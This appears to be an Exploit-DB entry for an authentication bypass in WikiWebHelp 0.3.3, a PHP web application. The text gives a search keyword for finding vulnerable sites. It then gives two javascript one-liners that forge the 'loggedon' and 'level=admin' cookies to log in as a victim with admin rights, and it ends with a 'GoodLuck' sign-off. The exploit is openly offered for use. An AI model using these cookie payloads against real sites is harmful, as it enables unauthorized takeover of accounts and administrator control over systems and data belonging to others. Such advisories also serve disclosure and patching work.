WikiWebHelp 0.3.3 - Insecure Cookie Handling
Author: FuRty
type: webapps
platform: php
port:
date_added: 2010-10-17
date_updated: 2010-10-17
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url: http://www.exploit-db.comwwh-0.3.3.zip
===============================================
WikiWebHelp v0.3.3 <= Insecure Cookie Handling
===============================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : FuRty
[~] Contact : fir4t@fir4t.org
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Web App. : WikiWebHelp
~Version : 0.3.3
~Software: http://sourceforge.net/projects/wwh/
~Vendor : http://wikiwebhelp.org
~Vulnerability Style : Cookie Handling
~Google Keyword : Powered by WikiWebHelp
[~]Date : "17.10.2010"
-----------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~ Explotation ~~~~~~~~~~~
Browser Injection for handling() by Javascript-SQLi Codes
================================
Do not rush to primarily target the site, please register:)
javascript:document.cookie="loggedon=[VictimNICK];path=/"; javascript:document.cookie="level=admin;path=/";
================================
[+] Cookie Browser Injected!
[+] Logged on
Ýyi þanslar :C / GoodLuck